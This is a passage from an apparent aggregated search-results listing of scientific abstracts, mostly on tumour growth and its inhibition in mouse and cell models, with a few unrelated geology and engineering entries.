a PSB damage evolution model to predict the onset of crack growth under block loads. 7. Emprego do cell block de agarose como método complementar no diagnóstico citológico de tumores mamários caninos Employment of cell block of agarose as additional method in the cytological diagnosis of canine mammary tumors Directory of Open Access Journals (Sweden) Diogo Sousa Zanoni 2013-03-01 8. Bromelain inhibits COX-2 expression by blocking the activation of MAPK regulated NF-kappa B against skin tumor-initiation triggering mitochondrial death pathway. Science.gov (United States) Bhui, Kulpreet; Prasad, Sahdeo; George, Jasmine; Shukla, Yogeshwer 2009-09-18 Chemoprevention impels the pursuit for either single targeted or cocktail of multi-targeted agents. Bromelain, potential agent in this regard, is a pharmacologically active compound, present in stems and fruits of pineapple (Ananas cosmosus), endowed with anti-inflammatory, anti-invasive and anti-metastatic properties. Herein, we report the anti tumor-initiating effects of bromelain in 2-stage mouse skin tumorigenesis model. Pre-treatment of bromelain resulted in reduction in cumulative number of tumors (CNT) and average number of tumors per mouse. Preventive effect was also comprehended in terms of reduction in tumor volume up to a tune of approximately 65%. Components of the cell signaling pathways, connecting proteins involved in cell death were targeted. Bromelain treatment resulted in upregulation of p53 and Bax and subsequent activation of caspase 3 and caspase 9 with concomitant decrease in Bcl-2. A marked inhibition in cyclooxygenase-2 (Cox-2) expression and inactivation of nuclear factor-kappa B (NF-kappaB) was recorded, as phosphorylation and consequent degradation of I kappa B alpha was blocked by bromelain. Also, bromelain treatment curtailed extracellular signal regulated protein kinase (ERK1/2), p38 mitogen-activated protein kinase (MAPK) and Akt activity. The basis of anti tumor-initiating activity of bromelain was revealed by its time dependent reduction in DNA nick formation and increase in percentage prevention. Thus, modulation of inappropriate cell signaling cascades driven by bromelain is a coherent approach in achieving chemoprevention. 9. PERK promotes cancer cell proliferation and tumor growth by limiting oxidative DNA damage Science.gov (United States) Bobrovnikova-Marjon, Ekaterina; Grigoriadou, Christina; Pytel, Dariusz; Zhang, Fang; Ye, Jiangbin; Koumenis, Constantinos; Cavener, Douglas; Diehl, J. Alan 2010-01-01 In order to proliferate and expand in an environment with limited nutrients, cancer cells co-opt cellular regulatory pathways that facilitate adaptation and thereby maintain tumor growth and survival potential. The endoplasmic reticulum (ER) is uniquely positioned to sense nutrient deprivation stress and subsequently engage signaling pathways that promote adaptive strategies. As such, components of the ER stress-signaling pathway represent potential anti-neoplastic targets. However, recent investigations into the role of the ER resident protein kinase PERK have paradoxically suggested both pro- and anti-tumorigenic properties. We have utilized animal models of mammary carcinoma to interrogate PERK contribution in the neoplastic process. The ablation of PERK in tumor cells resulted in impaired regeneration of intracellular antioxidants and accumulation of reactive oxygen species triggering oxidative DNA damage. Ultimately, PERK deficiency impeded progression through the cell cycle due to the activation of the DNA damage checkpoint. Our data reveal that PERK-dependent signaling is utilized during both tumor initiation and expansion to maintain redox homeostasis and thereby facilitates tumor growth. PMID:20453876 10. PERK promotes cancer cell proliferation and tumor growth by limiting oxidative DNA damage. Science.gov (United States) Bobrovnikova-Marjon, E; Grigoriadou, C; Pytel, D; Zhang, F; Ye, J; Koumenis, C; Cavener, D; Diehl, J A 2010-07-01 To proliferate and expand in an environment with limited nutrients, cancer cells co-opt cellular regulatory pathways that facilitate adaptation and thereby maintain tumor growth and survival potential. The endoplasmic reticulum (ER) is uniquely positioned to sense nutrient deprivation stress and subsequently engage signaling pathways that promote adaptive strategies. As such, components of the ER stress-signaling pathway represent potential antineoplastic targets. However, recent investigations into the role of the ER resident protein kinase, RNA-dependent protein kinase (PKR)-like ER kinase (PERK) have paradoxically suggested both pro- and anti-tumorigenic properties. We have used animal models of mammary carcinoma to interrogate the contribution of PERK in the neoplastic process. The ablation of PERK in tumor cells resulted in impaired regeneration of intracellular antioxidants and accumulation of reactive oxygen species triggering oxidative DNA damage. Ultimately, PERK deficiency impeded progression through the cell cycle because of the activation of the DNA damage checkpoint. Our data reveal that PERK-dependent signaling is used during both tumor initiation and expansion to maintain redox homeostasis, thereby facilitating tumor growth. 11. Withaferin-A suppress AKT induced tumor growth in colorectal cancer cells. Science.gov (United States) Suman, Suman; Das, Trinath P; Sirimulla, Suman; Alatassi, Houda; Ankem, Murali K; Damodaran, Chendil 2016-03-22 The oncogenic activation of AKT gene has emerged as a key determinant of the aggressiveness of colorectal cancer (CRC); hence, research has focused on targeting AKT signaling for the treatment of advanced stages of CRC. In this study, we explored the anti-tumorigenic effects of withaferin A (WA) on CRC cells overexpressing AKT in preclinical (in vitro and in vivo) models. Our results indicated that WA, a natural compound, resulted in significant inhibition of AKT activity and led to the inhibition of cell proliferation, migration and invasion by downregulating the epithelial to mesenchymal transition (EMT) markers in CRC cells overexpressing AKT. The oral administration of WA significantly suppressed AKT-induced aggressive tumor growth in a xenograft model. Molecular analysis revealed that the decreased expression of AKT and its downstream pro-survival signaling molecules may be responsible for tumor inhibition. Further, significant inhibition of some important EMT markers, i.e., Snail, Slug, β-catenin and vimentin, was observed in WA-treated human CRC cells overexpressing AKT. Significant inhibition of micro-vessel formation and the length of vessels were evident in WA-treated tumors, which correlated with a low expression of the angiogenic marker RETIC. In conclusion, the present study emphasizes the crucial role of AKT activation in inducing cell proliferation, angiogenesis and EMT in CRC cells and suggests that WA may overcome AKT-induced cell proliferation and tumor growth in CRC. PMID:26883103 12. Silencing of doublecortin-like (DCL results in decreased mitochondrial activity and delayed neuroblastoma tumor growth. Directory of Open Access Journals (Sweden) Carla S Verissimo Full Text Available Doublecortin-like (DCL is a microtubule-binding protein crucial for neuroblastoma (NB cell proliferation. We have investigated whether the anti-proliferative effect of DCL knockdown is linked to reduced mitochondrial activity. We found a delay in tumor development after DCL knockdown in vivo in doxycycline-inducible NB tumor xenografts. To understand the mechanisms underlying this tumor growth retardation we performed a series of in vitro experiments in NB cell lines. DCL colocalizes with mitochondria, interacts with the mitochondrial outer membrane protein OMP25/ SYNJ2BP and DCL knockdown results in decreased expression of genes involved in oxidative phosphorylation. Moreover, DCL knockdown decreases cytochrome c oxidase activity and ATP synthesis. We identified the C-terminal Serine/Proline-rich domain and the second microtubule-binding area as crucial DCL domains for the regulation of cytochrome c oxidase activity and ATP synthesis. Furthermore, DCL knockdown causes a significant reduction in the proliferation rate of NB cells under an energetic challenge induced by low glucose availability. Together with our previous studies, our results corroborate DCL as a key player in NB tumor growth in which DCL controls not only mitotic spindle formation and the stabilization of the microtubule cytoskeleton, but also regulates mitochondrial activity and energy availability, which makes DCL a promising molecular target for NB therapy. 13. Tumor growth effects of rapamycin on human biliary tract cancer cells Directory of Open Access Journals (Sweden) Heuer Matthias 2012-06-01 Full Text Available Abstract Background Liver transplantation is an important treatment option for patients with liver-originated tumors including biliary tract carcinomas (BTCs. Post-transplant tumor recurrence remains a limiting factor for long-term survival. The mammalian target of rapamycin-targeting immunosuppressive drug rapamycin could be helpful in lowering BTC recurrence rates. Therein, we investigated the antiproliferative effect of rapamycin on BTC cells and compared it with standard immunosuppressants. Methods We investigated two human BTC cell lines. We performed cell cycle and proliferation analyses after treatment with different doses of rapamycin and the standard immunosuppressants, cyclosporine A and tacrolimus. Results Rapamycin inhibited the growth of two BTC cell lines in vitro. By contrast, an increase in cell growth was observed among the cells treated with the standard immunosuppressants. Conclusions These results support the hypothesis that rapamycin inhibits BTC cell proliferation and thus might be the preferred immunosuppressant for patients after a liver transplantation because of BTC. 14. Established and New Mouse Models Reveal E2f1 and Cdk2 Dependency of Retinoblastoma and Expose Strategies to Block Tumor Initiation Science.gov (United States) Sangwan, Monika; McCurdy, Sean R.; Livne-bar, Izzy; Ahmad, Mohammad; Wrana, Jeffery L.; Chen, Danian; Bremner, Rod 2016-01-01 RB +/− individuals develop retinoblastoma and, subsequently, many other tumors. The Rb relatives p107 and p130 protect the tumor-resistant Rb−/− mouse retina. Determining the mechanism underlying this tumor suppressor function may expose novel strategies to block Rb-pathway cancers. p107/p130 are best known as E2f inhibitors, but here we implicate E2f-independent Cdk2 inhibition as the critical p107 tumor suppressor function in vivo. Like p107 loss, deleting p27 or inactivating its Cdk inhibitor (CKI) function (p27CK−) cooperated with Rb loss to induce retinoblastoma. Genetically, p107 behaved like a CKI because inactivating Rb and one allele each of p27 and p107 was tumorigenic. While Rb loss induced canonical E2f targets, unexpectedly p107 loss did not further induce these genes but instead caused post-transcriptional Skp2-induction and Cdk2 activation. Strikingly, Cdk2 activity correlated with tumor penetrance across all the retinoblastoma models. Therefore, Rb restrains E2f, but p107 inhibits cross-talk to Cdk. While removing either E2f2 or E2f3 genes had little effect, removing only one E2f1 allele blocked tumorigenesis. More importantly, exposing retinoblastoma-prone fetuses to small molecule E2f or Cdk inhibitors for merely one week dramatically inhibited subsequent tumorigenesis in adult mice. Protection was achieved without disrupting normal proliferation. Thus, exquisite sensitivity of the cell-of-origin to E2f and Cdk activity can be exploited to prevent Rb pathway-induced cancer in vivo without perturbing normal cell division. These data suggest that E2f inhibitors, never before tested in vivo, or Cdk inhibitors, largely disappointing as therapeutics, may be effective preventive agents. PMID:22286767 15. Frondoside A Suppressive Effects on Lung Cancer Survival, Tumor Growth, Angiogenesis, Invasion, and Metastasis OpenAIRE Samir Attoub; Kholoud Arafat; An Gélaude; Mahmood Ahmed Al Sultan; Marc Bracke; Peter Collin; Takashi Takahashi; Thomas E Adrian; Olivier De Wever 2013-01-01 A major challenge for oncologists and pharmacologists is to develop less toxic drugs that will improve the survival of lung cancer patients. Frondoside A is a triterpenoid glycoside isolated from the sea cucumber, Cucumaria frondosa and was shown to be a highly safe compound. We investigated the impact of Frondoside A on survival, migration and invasion in vitro, and on tumor growth, metastasis and angiogenesis in vivo alone and in combination with cisplatin. Frondoside A caused concentration... 16. The non glycanated endocan polypeptide slows tumor growth by inducing stromal inflammatory reaction OpenAIRE Yassine, Hanane; De Freitas Caires, Nathalie; Depontieu, Florence; Scherpereel, Arnaud; Awad, Ali,; Tsicopoulos, Anne; Leboeuf, Christophe; Janin, Anne; Duez, Catherine; Grigoriu, Bogdan,; Lassalle, Philippe 2014-01-01 Endocan expression is increasingly studied in various human cancers. Experimental evidence showed that human endocan, through its glycan chain, is implicated in various processes of tumor growth. We functionally characterize mouse endocan which is also a chondroitin sulfate proteoglycan but much less glycanated than human endocan. Distant domains from the O-glycanation site, located within exons 1 and 2 determine the glycanation pattern of endocan. In opposite to the human homologue, overexpr... 17. Angiopoietin-1/Tie-2 activation contributes to vascular survival and tumor growth during VEGF blockade OpenAIRE Huang, Jianzhong; Bae, Jae-O; Tsai, Judy P.; Kadenhe-Chiweshe, Angela; Papa, Joey; Lee, Alice; Zeng, Shan; Kornfeld, Z. Noah; Ullner, Paivi; Zaghloul, Nibal; Ioffe, Ella; Nandor, Sarah; Burova, Elena; Holash, Jocelyn; Thurston, Gavin 2009-01-01 Approval of the anti-vascular endothelial growth factor (VEGF) antibody bevacizumab by the FDA in 2004 reflected the success of this vascular targeting strategy in extending survival in patients with advanced cancers. However, consistent with previous reports that experimental tumors can grow or recur during VEGF blockade, it has become clear that many patients treated with VEGF inhibitors will ultimately develop progressive disease. Previous studies have shown that disruption of VEGF signali... 18. IGFBP3 promotes esophageal cancer growth by suppressing oxidative stress in hypoxic tumor microenvironment OpenAIRE Natsuizaka, Mitsuteru; Kinugasa, Hideaki; Kagawa, Shingo; Whelan, Kelly A.; NAGANUMA, Seiji; Subramanian, Harry; Chang, Sanders; Nakagawa, Kei J; Rustgi, Naryan L; Kita, Yoshiaki; Natsugoe, Shoji; Basu, Devraj; Gimotty, Phyllis A.; Klein-Szanto, Andres J.; Diehl, J. Alan 2014-01-01 Insulin-like growth factor binding protein 3 (IGFBP3), a hypoxia-inducible gene, regulates a variety of cellular processes including cell proliferation, senescence, apoptosis and epithelial-mesenchymal transition (EMT). IGFBP3 has been linked to the pathogenesis of cancers. Most previous studies focus upon proapoptotic tumor suppressor activities of IGFBP3. Nevertheless, IGFBP3 is overexpressed in certain cancers including esophageal squamous cell carcinoma (ESCC), one of the most aggressive ... 19. Picropodophyllin inhibits tumor growth of human nasopharyngeal carcinoma in a mouse model Energy Technology Data Exchange (ETDEWEB) Yin, Shu-Cheng [Department of Otolaryngology – Head and Neck Surgery, Renmin Hospital of Wuhan University, Wuhan 430060 (China); Department of Otolaryngology – Head and Neck Surgery, Zhongnan Hospital of Wuhan University, Wuhan 430071 (China); Guo, Wei [Department of Otolaryngology – Head and Neck Surgery, Zhongnan Hospital of Wuhan University, Wuhan 430071 (China); Tao, Ze-Zhang, E-mail: zezhangtao@gmail.com [Department of Otolaryngology – Head and Neck Surgery, Renmin Hospital of Wuhan University, Wuhan 430060 (China) 2013-09-13 Highlights: •We identified that PPP inhibits IGF-1R/Akt pathway in NPC cells. •PPP dose-dependently inhibits NPC cell proliferation in vitro. •PPP suppresses tumor growth of NPC in nude mice. •PPP have little effect on microtubule assembly. -- Abstract: Insulin-like growth factor-1 receptor (IGF-1R) is a cell membrane receptor with tyrosine kinase activity and plays important roles in cell transformation, tumor growth, tumor invasion, and metastasis. Picropodophyllin (PPP) is a selective IGF-1R inhibitor and shows promising antitumor effects for several human cancers. However, its antitumor effects in nasopharyngeal carcinoma (NPC) remain unclear. The purpose of this study is to investigate the antitumor activity of PPP in NPC using in vitro cell culture and in vivo animal model. We found that PPP dose-dependently decreased the IGF-induced phosphorylation and activity of IGF-1R and consequently reduced the phosphorylation of Akt, one downstream target of IGF-1R. In addition, PPP inhibited NPC cell proliferation in vitro. The half maximal inhibitory concentration (IC50) of PPP for NPC cell line CNE-2 was ⩽1 μM at 24 h after treatment and ⩽0.5 μM at 48 h after treatment, respectively. Moreover, administration of PPP by intraperitoneal injection significantly suppressed the tumor growth of xenografted NPC in nude mice. Taken together, these results suggest targeting IGF-1R by PPP may represent a new strategy for treatment of NPCs with positive IGF-1R expression. 20. Tumors initiated by constitutive Cdk2 activation exhibit transforming growth factor beta resistance and acquire paracrine mitogenic stimulation during progression DEFF Research Database (Denmark) Corsino, P.; Davis, B.; Law, M.; 2007-01-01 sites. Together, these results suggest that deregulation of the Cdk/Rb/E2F axis reprograms mammary epithelial cells to initiate a paracrine loop with tumor-associated fibroblasts involving TGF beta and HGF, resulting in desmoplasia. The MMTV-DIK2 mice should provide a useful model system...... for the development of therapeutic approaches to block the stromal desmoplastic reaction that likely plays an important role in the progression of multiple types of human tumors... 1. Tocotrienol-adjuvanted dendritic cells inhibit tumor growth and metastasis: a murine model of breast cancer. Directory of Open Access Journals (Sweden) Sitti Rahma Abdul Hafid Full Text Available Tocotrienol-rich fraction (TRF from palm oil is reported to possess anti-cancer and immune-enhancing effects. In this study, TRF supplementation was used as an adjuvant to enhance the anti-cancer effects of dendritic cells (DC-based cancer vaccine in a syngeneic mouse model of breast cancer. Female BALB/c mice were inoculated with 4T1 cells in mammary pad to induce tumor. When the tumor was palpable, the mice in the experimental groups were injected subcutaneously with DC-pulsed with tumor lysate (TL from 4T1 cells (DC+TL once a week for three weeks and fed daily with 1 mg TRF or vehicle. Control mice received unpulsed DC and were fed with vehicle. The combined therapy of using DC+TL injections and TRF supplementation (DC+TL+TRF inhibited (p<0.05 tumor growth and metastasis. Splenocytes from the DC+TL+TRF group cultured with mitomycin-C (MMC-treated 4T1 cells produced higher (p<0.05 levels of IFN-γ and IL-12. The cytotoxic T-lymphocyte (CTL assay also showed enhanced tumor-specific killing (p<0.05 by CD8(+ T-lymphocytes isolated from mice in the DC+TL+TRF group. This study shows that TRF has the potential to be used as an adjuvant to enhance effectiveness of DC-based vaccines. 2. Inhibition of endothelial Cdk5 reduces tumor growth by promoting non-productive angiogenesis. Science.gov (United States) Merk, Henriette; Zhang, Siwei; Lehr, Thorsten; Müller, Christoph; Ulrich, Melanie; Bibb, James A; Adams, Ralf H; Bracher, Franz; Zahler, Stefan; Vollmar, Angelika M; Liebl, Johanna 2016-02-01 Therapeutic success of VEGF-based anti-angiogenic tumor therapy is limited due to resistance. Thus, new strategies for anti-angiogenic cancer therapy based on novel targets are urgently required. Our previous in vitro work suggested that small molecule Cdk5 inhibitors affect angiogenic processes such as endothelial migration and proliferation. Moreover, we recently uncovered a substantial role of Cdk5 in the development of lymphatic vessels. Here we pin down the in vivo impact of endothelial Cdk5 inhibition in angiogenesis and elucidate the underlying mechanism in order to judge the potential of Cdk5 as a novel anti-angiogenic and anti-cancer target. By the use of endothelial-specific Cdk5 knockout mouse models and various endothelial and tumor cell based assays including human tumor xenograft models, we show that endothelial-specific knockdown of Cdk5 results in excessive but non-productive angiogenesis during development but also in tumors, which subsequently leads to inhibition of tumor growth. As Cdk5 inhibition disrupted Notch function by reducing the generation of the active Notch intracellular domain (NICD) and Cdk5 modulates Notch-dependent endothelial cell proliferation and sprouting, we propose that the Dll4/Notch driven angiogenic signaling hub is an important and promising mechanistic target of Cdk5. In fact, Cdk5 inhibition can sensitize tumors to conventional anti-angiogenic treatment as shown in tumor xenograft models. In summary our data set the stage for Cdk5 as a drugable target to inhibit Notch-driven angiogenesis condensing the view that Cdk5 is a promising target for cancer therapy. PMID:26755662 3. Breast cancer tumor growth is efficiently inhibited by dendritic cell transfusion in a murine model Directory of Open Access Journals (Sweden) Viet Quoc Pham 2014-03-01 Full Text Available The ability of dendritic cells to efficiently present tumor-derived antigens when primed with tumor cell lysates makes them attractive as an approach for cancer treatment. This study aimed to evaluate the effects of dendritic cell transfusion dose on breast cancer tumor growth in a murine model. Dendritic cells were produced from allogeneic bone marrow-derived mononuclear cells that were cultured in RPMI 1640 medium supplemented with 20 ng/mL GM-CSF and 20 ng/mL IL-4 for 7 days. These cells were checked for maturation before being primed with a cancer cell-derived antigen. Cancer cell antigens were produced by a rapid freeze-thaw procedure using a 4T1 cell line. Immature dendritic cells were loaded with 4T1 cellderived antigens. Dendritic cells were transfused into mice bearing tumors at three different doses, included 5.104, 105, and 106 cells/mouse with a control consisting of RPMI 1640 media alone. The results showed that dendritic cell therapy inhibited breast cancer tumors in a murine model; however, this effect depended on dendritic cell dose. After 17 days, in the treated groups, tumor size decreased by 43%, 50%, and 87.5% for the doses of 5 and times; 104, 105, and 106 dendritic cells, respectively, while tumor size in the control group decreased by 44%. This result demonstrated that dendritic cell therapy is a promising therapy for breast cancer treatment. [Biomed Res Ther 2014; 1(3.000: 85-92 4. Complete adrenocorticotropin deficiency after radiation therapy for brain tumor with a normal growth hormone reserve Energy Technology Data Exchange (ETDEWEB) Sakai, Haruna; Yoshioka, Katsunobu; Yamagami, Keiko [Osaka City General Hospital (Japan)] (and others) 2002-06-01 A 34-year-old man with neurofibromatosis type 1, who had received radiation therapy after the excision of a brain tumor 5 years earlier, was admitted to our hospital with vomiting and weight loss. Cortisol and adrenocorticotropin (ACTH) were undetectable before and after administration of 100 {mu}g corticotropin releasing hormone. The level of growth hormone without stimulation was 24.7 ng/ml. We diagnosed him to have complete ACTH deficiency attributable to radiation therapy. This is the first known case of a patient with complete ACTH deficiency after radiation therapy and a growth hormone reserve that remained normal. (author) 5. Effect of tumor suppressor in lung cancer-1 on growth inhibition of MG63 cell line Institute of Scientific and Technical Information of China (English) Li Qin; Yang Lin; Wenjian Chen; Wentao Zhu 2013-01-01 Objective: The aim of this study was to establish the osteosarcoma cell sublines which stably expressing tumor suppressor in lung cancer-1 (TSLC1) gene and evaluate its effect on growth inhibition of human osteosarcoma cell line MG63. Methods: The recombinant plasmid pCI-TSLC1 was stably transfected into MG63 cells with Lipofectamine 2000. The positive clones were developed by selection by G418. Biological characteristics of one of the 6 cell lines which highly expressing TSLC1, namely, the M8T were studied. Cell growth was analyzed with MTT assay. 2 × 107 cells suspended in 0.2 mL phosphate buffered saline (PBS) were injected into the two flanks of 5-6-week-old female BALB/C nu/nu athymic nude mice. The volumes of subcutaneous of tumor growth were evaluated and calculated by the formula V= Length × Width × Height × 0.5 once a week. Results: The M8T cell subline which stably expressing TSLC1 was characterized by Western blot. The genetic stability and purity of M8T cells were stable. TSLC1 significantly suppressed the growth of M8T cells in vitro. Moreover, the tumorigenicity of M8T cells was suppressed in vivo. Conclusion: The osteosarcoma cell sublines M8T which stably expressing TSLC1 had been successfully established. The ability of growth and metastasis of M8T was significantly suppressed both in vitro and in vivo. 6. FBXW7 Acts as an Independent Prognostic Marker and Inhibits Tumor Growth in Human Osteosarcoma Directory of Open Access Journals (Sweden) Zhanchun Li 2015-01-01 Full Text Available F-box and WD repeat domain-containing 7 (FBXW7 is a potent tumor suppressor in human cancers including breast cancer, colorectal cancer, gastric cancer and hepatocellular carcinoma. In this study, we found that the expressions of FBXW7 protein and mRNA levels in osteosarcoma (OS cases were significantly lower than those in normal bone tissues. Clinical analysis indicated that FBXW7 was expressed at lower levels in OS patients with advanced clinical stage, high T classification and poor histological differentiation. Furthermore, we demonstrated that high expression of FBXW7 was correlated with a better 5-year survival of OS patients. Multivariate Cox regression analysis indicated that FBXW7 was an independent prognostic marker in OS. Our in vitro studies showed that FBXW7 overexpression inhibited cell cycle transition and cell proliferation, and promoted apoptosis in both U2OS and MG-63 cells. In a nude mouse xenograft model, FBXW7 overexpression slowed down tumor growth by inducing apoptosis and growth arrest. Mechanistically, FBXW7 inversely regulated oncoprotein c-Myc and cyclin E levels in both U2OS and MG-63 cells. Together these findings suggest that FBXW7 may serve as a prognostic biomarker and inhibit tumor progression by inducing apoptosis and growth arrest in OS. 7. Integrin-linked kinase in gastric cancer cell attachment, invasion and tumor growth Institute of Scientific and Technical Information of China (English) Gang Zhao; Li-Li Guo; Jing-Yong Xu; Hua Yang; Mei-Xiong Huang; Gang Xiao 2011-01-01 AIM: To investigate the effects of integrin-linked kinase (ILK) on gastric cancer cells both in vitro and in vivo . METHODS: ILK small interfering RNA (siRNA) was transfected into human gastric cancer BGC-823 cells and ILK expression was monitored by real-time quantitative polymerase chain reaction, Western blotting analysis and immunocytochemistry. Cell attachment, proliferation, invasion, microfilament dynamics and the secretion of vascular endothelial growth factor (VEGF) were also measured. Gastric cancer cells treated with ILK siRNA were subcutaneously transplanted into nude mice and tumor growth was assessed. RESULTS: Both ILK mRNA and protein levels were significantly down-regulated by ILK siRNA in human gastric cancer cells. This significantly inhibited cell attachment, proliferation and invasion. The knockdown of ILK also disturbed F-actin assembly and reduced VEGF secretion in conditioned medium by 40% (P < 0.05). Four weeks after injection of ILK siRNA-transfected gastric cancer cells into nude mice, tumor volume and weight were significantly reduced compared with that of tumors induced by cells treated with non-silencing siRNA or by untreated cells (P < 0.05). CONCLUSION: Targeting ILK with siRNA suppresses the growth of gastric cancer cells both in vitro and in vivo . ILK plays an important role in gastric cancer progression. 8. Vertical and lateral fluid flow related to a large growth fault, South Eugene Island Block 330 field, offshore Louisiana Energy Technology Data Exchange (ETDEWEB) Losh, S. [Cornell Univ., Ithaca, NY (United States). Dept. of Geological Sciences; Eglinton, L. [Woods Hole Oceanographic Institution, MA (United States). Dept. of Marine Chemistry and Geochemistry; Schoell, M. [Chevron Overseas Petroleum, Inc., San Ramon, CA (United States); Wood, J. [Michigan Technological Univ., Houghton, MI (United States) 1999-02-01 Data from sediments in and near a large growth fault adjacent to the giant South Eugene Island Block 330 field, offshore Louisiana, indicate that the fault has acted as a conduit for fluids whose flux has varied in space and time. Core and cuttings samples from two wells that penetrated the same fault about 300 m apart show markedly different thermal histories and evidence for mass flux. Sediments within and adjacent to the fault zone in the US Department of Energy-Pennzoil Pathfinder well at about 2200 m SSTVD (subsea true vertical depth) showed little paleothermal or geochemical evidence for through-going fluid flow. The sediments were characterized by low vitrinite reflectances (R{sub {omicron}}), averaging 0.3% R{sub {omicron}}, moderate to high {delta}{sup 18}O and {delta}{sup 13}C values, and little difference in major or trace element composition between deformed and undeformed sediments. In contrast, faulted sediments from the A6ST well, which intersects the A fault at 1993 m SSTVD, show evidence for a paleothermal anomaly (0.55% R{sub {omicron}}) and depleted {delta}{sup 18}O and {delta}{sup 13}C values. Overall, indicators of mass and heat flux indicate the main growth fault zone in South Eugene Island Block 330 has acted as a conduit for ascending fluids, although the cumulative fluxes vary along strike. This conclusion is corroborated by oil and gas distribution in downthrown sands in Blocks 330 and 331, which identify the fault system in northwestern Block 330 as a major feeder. 9. Expression of vascular endothelial growth factor (VEGF) and VEGF-C in serum and tissue of Wilms tumor Institute of Scientific and Technical Information of China (English) WANG Lei; ZHANG Da; CHEN Xin-rang; FAN Yu-xia; WANG Jia-xiang 2011-01-01 Background Angiogenesis and lymphogenesis which were promoted by vascular endothelial growth factor (VEGF)and VEGF-C are important in the growth and metastasis of solid tumors.The high level of VEGF and VEGF-C were distributed in numerous types of cancers,but their distribution and expression in Wilms tumor,the most common pediatric tumor of the kidney,was unclear.Methods To learn about the distribution,mass spectroscopy and immunohistochemistry were used to measure the level of VEGF and VEGF-C in serum and tissue of Wilms tumor.Results The expression level of VEGF in serum of Wilms tumor was the same as in pre-surgery and control,so it was the same case of VEGF-C.Both of these factors were chiefly located in Wilms tumor tissue,but not in borderline and normal.In addition,the higher clinical staging and histopathologic grading were important elements in high expression of VEGF and VEGF-C.Gender,age and the size of tumor have not certainly been implicated in expression level of VEGF and VEGF-C.Conclusions The lymph node metastasis and growth of tumors resulted from angiogenesis and lymphogenesis which were promoted by VEGF and VEGF-C in Wilms tumor.The autocrine and paracrine process of VEGF and VEGF-C were the principal contributor to specific tissues of Wilms tumor but not to the entire body. 10. Immunological and Nonimmunological Effects of Indoleamine 2,3-Dioxygenase on Breast Tumor Growth and Spontaneous Metastasis Formation Directory of Open Access Journals (Sweden) Vera Levina 2012-01-01 Full Text Available The role of the tryptophan-catabolizing enzyme, indoleamine 2,3-dioxygenase (IDO1, in tumor escape and metastasis formation was analyzed using two pairs of Ido1+ and Ido1− murine breast cancer cell lines. Ido1 expression in 4T1 cells was knocked down by shRNA, and Ido1 expression in NT-5 cells was upregulated by stable transfection. Growth of Ido1− tumors and spontaneous metastasis formation were inhibited in immunocompetent mice. A higher level of cytotoxic T lymphocytes was generated by spleen cells from mice bearing Ido1− tumors than Ido1+ tumors. Tumor and metastatic growth was enhanced in immunodeficient mice, confirming an intensified immune response in the absence of Ido1 expression. However, Ido1+ tumors grow faster than Ido1− tumors in immunodeficient SCID/beige mice (lacking T, B, and NK cells suggesting that some Ido1-controlled nonimmunological mechanisms may be involved in tumor cell growth regulation. In vitro experiments demonstrated that downregulation of Ido1 in tumor cells was associated with decreased cell proliferation, increased apoptosis, and changed expression of cell cycle regulatory genes, whereas upregulation of Ido1 in the cells had the opposite effects. Taken together, our findings indicate that Ido1 expression could exert immunological and nonimmunological effects in murine breast tumor cells. 11. Metastasis genetics, epigenetics, and the tumor microenvironment Science.gov (United States) KISS1 is a member of a family of genes known as metastasis suppressors, defined by their ability to block metastasis without blocking primary tumor development and growth. KISS1 re-expression in multiple metastatic cell lines of diverse cellular origin suppresses metastasis; yet, still allows comple... 12. Mifepristone inhibits MPA-and FGF2-induced mammary tumor growth but not FGF2-induced mammary hyperplasia Directory of Open Access Journals (Sweden) Juan P. Cerliani 2010-12-01 Full Text Available We have previously demonstrated a crosstalk between fibroblast growth factor 2 (FGF2 and progestins inducing experimental breast cancer growth. The aim of the present study was to compare the effects of FGF2 and of medroxyprogesterone acetate (MPA on the mouse mammary glands and to investigate whether the antiprogestin RU486 was able to reverse the MPA- or FGF2-induced effects on both, mammary gland and tumor growth. We demonstrate that FGF2 administered locally induced an intraductal hyperplasia that was not reverted by RU486, suggesting that FGF2-induced effects are progesterone receptor (PR-independent. However, MPA-induced paraductal hyperplasia was reverted by RU486 and a partial agonistic effect was observed in RU486-treated glands. Using C4-HD tumors which only grow in the presence of MPA, we showed that FGF2 administered intratumorally was able to stimulate tumor growth as MPA. The histology of FGF2-treated tumors showed different degrees of gland differentiation. RU486 inhibited both, MPA or FGF2 induced tumor growth. However, only complete regression was observed in MPA-treated tumors. Our results support the hypothesis that stromal FGF2 activates PR inducing hormone independent tumor growth. 13. Gap junction enhancer increases efficacy of cisplatin to attenuate mammary tumor growth. Directory of Open Access Journals (Sweden) Stephanie N Shishido Full Text Available Cisplatin treatment has an overall 19% response rate in animal models with malignant tumors. Increasing gap junction activity in tumor cells provides the targets to enhance antineoplastic therapies. Previously, a new class of substituted quinolines (PQs acts as gap junction enhancer, ability to increase the gap junctional intercellular communication, in breast cancer cells. We examined the effect of combinational treatment of PQs and antineoplastic drugs in an animal model, showing an increase in efficacy of antineoplastic drugs via the enhancement of gap junctions. Mice were implanted with estradiol-17ß (1.7 mg/pellet before the injection of 1×10⁷ T47D breast cancer cells subcutaneously into the inguinal region of mammary fat pad. Animals were treated intraperitoneally with DMSO (control, cisplatin (3.5 mg/kg, PQ (25 mg/kg, or a combining treatment of cisplatin and PQ. Cisplatin alone decreased mammary tumor growth by 85% while combinational treatment of cisplatin and PQ1 or PQ7 showed an additional reduction of 77% and 22% of tumor growth after 7 treatments at every 2 days, respectively. Histological results showed a significant increase of gap junction proteins, Cx43 and Cx26, in PQ-treated tissues compared to control or cisplatin. Furthermore, evidence of highly stained caspase 3 in tumors of combinational treatment (PQ and cisplatin was seen compared to cisplatin alone. We have showed for the first time an increase in the efficacy of antineoplastic drugs through a combinational treatment with PQs, a specific class of gap junction enhancers. 14. CysLT(1)R antagonists inhibit tumor growth in a xenograft model of colon cancer. Science.gov (United States) Savari, Sayeh; Liu, Minghui; Zhang, Yuan; Sime, Wondossen; Sjölander, Anita 2013-01-01 The expression of the inflammatory G-protein coupled receptor CysLT1R has been shown to be upregulated in colon cancer patients and associated with poor prognosis. The present study investigated the correlation between CysLT1R and colon cancer development in vivo using CysLT1R antagonists (ZM198,615 or Montelukast) and the nude mouse xenograft model. Two drug administration regimens were established. The first regimen was established to investigate the importance of CysLT1R in tumor initiation. Nude mice were inoculated with 50 µM CysLT1R antagonist-pretreated HCT-116 colon cancer cells and received continued treatment (5 mg/kg/day, intraperitoneally). The second regimen aimed to address the role of CysLT1R in tumor progression. Nude mice were inoculated with non-pretreated HCT-116 cells and did not receive CysLT1R 